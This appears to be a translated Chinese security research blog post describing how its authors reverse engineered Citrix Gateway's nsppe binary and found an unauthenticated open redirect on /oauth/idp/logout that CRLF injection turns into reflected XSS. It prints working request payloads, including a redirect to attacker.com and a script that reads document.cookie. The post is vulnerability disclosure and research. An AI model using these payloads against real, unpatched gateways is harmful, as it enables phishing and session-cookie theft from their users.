"揭开Citrix Gateway XSS漏洞的破解:逆向工程揭示可利用的缺陷"

2024-01-13 13:42:29 浏览数 (3)

“去年底我们研究的一个目标是Citrix Gateway。 Citrix Gateway是另一种“一体化”网络设备,集成了负载均衡器、防火墙、VPN等功能。早期版本的该产品以“NetScaler”的名称销售。 ”

在这种情况下,我们只关注VPN组件(Citrix Gateway)。根据最新的数据,大约有约50,000个Citrix Gateway实例是公开可访问的。因此,即使是像跨站脚本这样的小问题也可能产生巨大影响。

在我们的研究中,我们发现了一个无需身份验证即可利用的开放重定向漏洞。我们还能够通过这个漏洞实施CRLF注入,从而导致XSS攻击或者如果Citrix Gateway部署在这样的配置中,还可能导致缓存污染。

对于那些担心安全问题的人,请立即更新您的部署,修补细节可以在这里找到。在撰写本文之前,我们对一百个Citrix Gateway实例进行了快速扫描,发现超过一半的实例仍然没有打补丁。

理解Citrix Gateway

Citrix Gateway是一个基于FreeBSD的衍生版本,具有几个扩展功能,包括自定义的网络堆栈。应用程序的一大部分(包括这个网络堆栈)被打包到了一个称为Netscaler Packet Processing Engine(nsppe)的组件中。

最初不了解这一点会使逆向工程变得有些困惑,因为常见的技术并不按预期工作。例如,由于我们的目标是一个Web服务,一个简单的起点是查找哪个进程正在监听该端口,然后从那里开始进行调查。

但是,如果我们运行sockstat(类似于netstat的FreeBSD实用程序),我们会得到以下结果:

代码语言:javascript复制
root@ns# sockstat -4 -l
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS      
nsmonitor nsumond   831   6  tcp4   127.0.0.1:3013        *:*
root     snmpd      615   10 tcp4   127.0.0.1:3335        *:*
root     snmpd      615   20 udp4   192.168.1.90:161      *:*
root     snmpd      615   21 udp4   127.0.0.1:161         *:*
root     nscertforg 613   3  tcp4   127.0.0.1:15555       *:*
root     aslearn    611   11 tcp4   127.0.0.1:3020        *:*
root     iked       607   6  udp4   192.168.1.90:500      *:*
root     iked       607   7  udp4   127.0.0.1:500         *:*
root     iked       607   8  udp4   192.168.1.90:4500     *:*
root     iked       607   9  udp4   127.0.0.1:4500        *:*
root     iked       607   10 tcp4   127.0.0.1:8888        *:*
root     nsaaad     602   3  tcp4   127.0.0.1:8766        *:*
root     nskrb      598   3  tcp4   127.0.0.1:8788        *:*
root     php        543   3  tcp4   127.0.0.1:9999        *:*
root     imi        529   5  tcp4   *:4001                *:*
root     imi        529   6  tcp4   127.0.0.1:3001        *:*
root     nsconfigd  516   10 tcp4   *:3010                *:*
root     nsclusterd 480   5  tcp4   127.0.0.1:7001        *:*
root     nsclusterd 480   6  tcp4   127.0.0.1:7002        *:*
root     nsclusterd 480   7  tcp4   127.0.0.1:7003        *:*
root     nsclusterd 480   8  udp4   *:*                   *:*
root     nsaggregat 478   3  tcp4   127.0.0.1:5555        *:*
root     nsmap      476   5  tcp4   127.0.0.1:3014        *:*
nobody   httpd      284   4  tcp4   *:80                  *:*
nobody   httpd      284   5  tcp4   127.0.0.1:81          *:*
nobody   httpd      283   4  tcp4   *:80                  *:*
nobody   httpd      283   5  tcp4   127.0.0.1:81          *:*
nobody   httpd      282   4  tcp4   *:80                  *:*
nobody   httpd      282   5  tcp4   127.0.0.1:81          *:*
nobody   httpd      281   4  tcp4   *:80                  *:*
nobody   httpd      281   5  tcp4   127.0.0.1:81          *:*
nobody   httpd      280   4  tcp4   *:80                  *:*
nobody   httpd      280   5  tcp4   127.0.0.1:81          *:*
root     sshd       213   4  tcp4   *:22                  *:*
root     httpd      207   4  tcp4   *:80                  *:*
root     httpd      207   5  tcp4   127.0.0.1:81          *:*
root     syslogd    197   6  udp4   127.0.0.1:514         *:*

值得注意的是,我们要查找的Citrix Gateway服务是在443端口上访问的。而这个端口在上面的列表中根本没有出现。因为Citrix Gateway使用自己的网络堆栈,所以它不像纯净的FreeBSD安装那样填充了像sockstat这样的工具使用的数据结构。

通过查阅文档和在网上搜索,我们确实发现,如果我们从bash shell切换到提供的Citrix Gateway命令shell,有一些命令可以给我们提供一些信息。

代码语言:javascript复制
> show ns connectiontable -Listen
NAME       IP                                       PORT    SVCTYPE      Traffic Domain 
INTERNAL   127.0.0.1                                0       ROUTE        0              
INTERNAL   192.168.1.90                             0       TCP          0              
INTERNAL   192.168.1.90                             0       ANY          0              
INTERNAL   fe80::20c:29ff:feae:24c2                 0       TCP          0              
INTERNAL   fe80::20c:29ff:feae:24c2                 0       ANY          0              
INTERNAL   ::1                                      0       ROUTE        0              
INTERNAL   0.0.0.0                                  520     RIP          0              
INTERNAL   127.0.0.1                                5000    RPCSVR       0              
INTERNAL   192.168.1.90                             520     RIP          0              
INTERNAL   192.168.1.90                             21      FTP          0              
INTERNAL   fe80::20c:29ff:feae:24c2                 21      FTP          0              
INTERNAL   192.168.1.90                             161     SNMP         0              
INTERNAL   fe80::20c:29ff:feae:24c2                 4001    TCP          0              
INTERNAL   fe80::20c:29ff:feae:24c2                 161     SNMP         0              
INTERNAL   192.168.1.90                             179     ANY          0              
ns_int_ulf 127.0.0.2                                5557                 0              
ns_int_tcp 127.0.0.2                                53      DNS_TCP      0              
ns_int_nam 127.0.0.2                                53      DNS          0              
INTERNAL   192.168.1.91                             443     UNKNOWN      0              
Gateway    192.168.1.91                             443     SSL          0              
nshttps-12 192.168.1.90                             443     SSL          0

然而,这仍然没有给我们提供太多线索。在这个阶段,我们感到有点失落。由于没有太多其他的线索,我们开始寻找关于Citrix Gateway和NetScaler操作系统架构的任何手册或文档,以了解设备的工作方式。

在翻阅了许多泄露非官方博文后,我们对Citrix Gateway的工作原理有了大致的了解。至少我们知道,审计nsppe可能是我们应该开始的地方。

Citrix Gateway作为网络堆栈与nsppe二进制文件捆绑在一起的一个有趣特性是,任何调试都必须在控制台上进行。

可以想象,为什么要这样做,因为在SSH会话中设置断点将中断连接,因为在挂起进程期间无法进行更多的数据包处理来支持SSH会话。

因此,大部分分析是通过阅读代码而不是通过交互式调试来进行的。

我们发现二进制文件位于 /netscaler/nsppe,并且非常庞大,大小为42MB。

我们将二进制文件复制出来,并使用Ghidra进行反编译,但不幸的是,反编译过程中出现了一些关键函数失败的情况。

在将反编译器资源增加到以下值后,我们取得了更多的成功:在编辑 -> 工具选项 -> 反编译器中进行设置。

缓存大小(函数):2048 反编译器最大负载(Mbytes):512 反编译器超时时间(秒):900 每个函数的最大指令数:3000000

我们让Ghidra进行了大约一个小时的反编译,返回后发现一切都成功地被反编译了。将每个函数保存为一个.c文件后,我们得到了大约300MB的代码需要审查!虽然很多,但至少我们有了一个起点。

我们开始在代码中使用grep来查找与URL(分隔符为斜杠的ASCII文本)类似的字符串。

结合浏览我们自己的Citrix Gateway实例和在线实例,因为不同的配置和版本会产生稍有不同的登录页面。最后,我们还阅读了更多来自Citrix的配置文档。通过结合这三种技术,我们获得了一个相当大的端点列表进行枚举。

我们按照列表中的每个端点进行了尝试,使用Burp进行测试,以确定Citrix Gateway是否实际响应,以及如何响应。有些端点有效,有些则无效。

在代码中搜索我们访问的端点的引用,或者搜索响应中出现的字符串

例如,如果一个端点将我们重定向到/vpn/tmlogout.html,我们就会在代码中搜索/vpn/tmlogout.html。

最终找到的一个函数是ns_vpn_process_unauthenticated_request。

可以根据名称猜到,我们搜索的许多端点都会导致我们回到这个函数。而且它被命名为“未经身份验证”的事实让人鼓舞,因为我们正在寻找预身份验证的漏洞。

直到此时,我们遇到的一个大问题是不太清楚路径路由是如何执行的。我们可以在二进制文件中看到很多URL,但大多数要么是在日志消息中,要么是在响应负载中,比如包含URL的硬编码字符串,其中包括XML响应负载。

在研究ns_vpn_process_unauthenticated_request函数时,我们意识到Ghidra无法识别出许多经过编译器优化的字符串比较。在ns_vpn_process_unauthenticated_request函数中,我们找到了许多以下模式的实例。

代码语言:javascript复制
if ((((ulong)*(undefined8 *******)pBVar3 | 0x2020202020202020) == 0x687475612f666e2f) &&
   (((ulong)(pBVar3->RR).d | 0x2020202020202020) == 0x657774726174732f)) {
  bVar48 = (*(ulong *)&(pBVar3->RR).top | 0x2020202020202020) != 0x6f642e7765697662;
}
if (!bVar48) {
  uVar37 = ns_aaa_start_webview_for_authv3((long)local_50,(long)local_48);
  pBVar39 = (BN_MONT_CTX *)(uVar37 & 0xffffffff);
  goto LAB_0073f539;
}

在这个if语句中,有几个比较条件,每个字节都与0x20进行或操作,然后是某种响应处理程序,如上例中的ns_aaa_start_webview_for_authv3。

在Ghidra中将鼠标悬停在十六进制比较值上时,会显示char[]表示形式。对于上面的例子,它们分别是以下三个值

0x687475612f666e2f -> htua/fn/ 0x657774726174732f -> ewtrats/ 0x6f642e7765697662 -> od.weivb

如果我们反转字节顺序,我们将得到以下结果:

0x687475612f666e2f -> /nf/auth 0x657774726174732f -> /startwe 0x6f642e7765697662 -> bview.do

现在我们终于弄清楚了路径路由是如何进行的,以及为什么很难搜索到。编译器将这些短字符串比较内联到了几个相等性检查中,而不是调用单独的函数。| 0x20模式是一种位操作技巧,用于将输入转为小写。

小写的ASCII字母与它们的大写对应字母相差32字节(0x20)。通过与0x20进行或操作,可以将任何大写字母转换为小写,同时保持所有现有小写字母不变。

寻找跨站脚本攻击(Cross-Site Scripting)

现在我们对情况有了更好的理解,我们能够发现更多未经身份验证的端点进行枚举。而且我们不需要进行太多搜索来找出处理这些端点的代码所在。

我们找到了一个端点是/oauth/idp/logout。在我们的ns_vpn_process_unauthenticated_request函数的路由代码中,可以看到以下内容。

代码语言:javascript复制
if (((((ulong)*(undefined8 *******)pBVar3 | 0x2020202020202020) == 0x692f687475616f2f)
    && (((ulong)(pBVar3->RR).d | 0x2020202020202020) == 0x756f676f6c2f7064)) &&
   ((*(byte *)&(pBVar3->RR).top | 0x20) == 0x74)) {
  uVar37 = ns_aaa_oauth_fetch_logout_url(0,(long)pBVar3,(uint)uVar8);
  vpn_location_url_len = (int)uVar37;
  if (vpn_location_url_len < 1) {
    vpn_location_url = "/vpn/tmlogout.html";
    vpn_location_url_len = 0x12;
    uVar14 = 0x880002;
  }
  else {
    vpn_location_url = (char *)tmpbuf512;
    uVar14 = 0x880002;
  }
  goto LAB_0073da38;
}

通过对这个端点在Burp中进行试验,我们确定了查询参数post_logout_redirect_uri。根据参数的名称以及我们对这个函数的了解,它似乎是一个很好的候选项,可能存在开放重定向漏洞。

我们尝试了一下我们的理论,并且很高兴地发现了我们的第一个漏洞,一个开放重定向漏洞。

代码语言:javascript复制
GET /oauth/idp/logout?post_logout_redirect_uri=attacker.com HTTP/1.1
Host: 192.168.1.91

HTTP/1.1 302 Object Moved
Location: attacker.com
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Connection: close
Content-Length: 0
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8

在我们的分析中(包括这里和其他地方),我们看到了大量的原始内存处理和复制操作。因此,我们认为有必要再次检查参数是否存在CRLF注入,并发现我们能够将其转变为反射型跨站脚本攻击。

通过在开头插入两个换行符( ),提前结束HTTP头并开始插入HTML内容。

代码语言:javascript复制
GET /oauth/idp/logout?post_logout_redirect_uri=

<script>alert(document.cookie)</script> HTTP/1.1
Host: 192.168.1.91

HTTP/1.1 302 Object Moved
Location: 

<script>alert(1)</script>
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Connection: close
Content-Length: 0
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8

在Chrome中,这是一个立即触发的XSS漏洞,而Firefox对于空的Location头处理略有不同。在Firefox中,一个有效的载荷是ws://localhost/x 。

影响

通过这个漏洞,我们能够轻易地将用户重定向到仿制的Citrix Gateway登录界面的钓鱼页面,以窃取凭据。或者,我们可以在受害者的浏览器中执行任意的JavaScript代码。Citrix Gateway似乎对会话Cookie的处理相对宽松,很少设置HttpOnly属性。因此,窃取会话Cookie非常容易,如下所示。

即使OAuth没有启用或配置,易受攻击的端点仍然可用。正如文章开头提到的,Citrix Gateway的部署广泛且在发布文章时通常未修补。这导致了大量的公共受影响主机。

结论

从这项研究中我们得到了一些关键的经验教训,其中包括真正理解特定应用程序的架构。特别是如果操作系统没有运行基于Linux / BSD的原始版本,即使表面上看操作系统未经修改。对于像Ghidra这样的工具,也要了解它如何处理编译器优化,这可能会模糊代码实际尝试实现的目标,就像字符串比较的情况一样。

最后,不要忽视CRLF注入等小事。当处理未运行标准Web服务器的设备时,尝试这些通常具有内置保护的技术是值得的。

在Citrix Gateway中还有很多需要研究的内容,我们只是触及了表面。而且由于广泛的部署基础,即使是小的漏洞也可能产生重大影响。

1 人点赞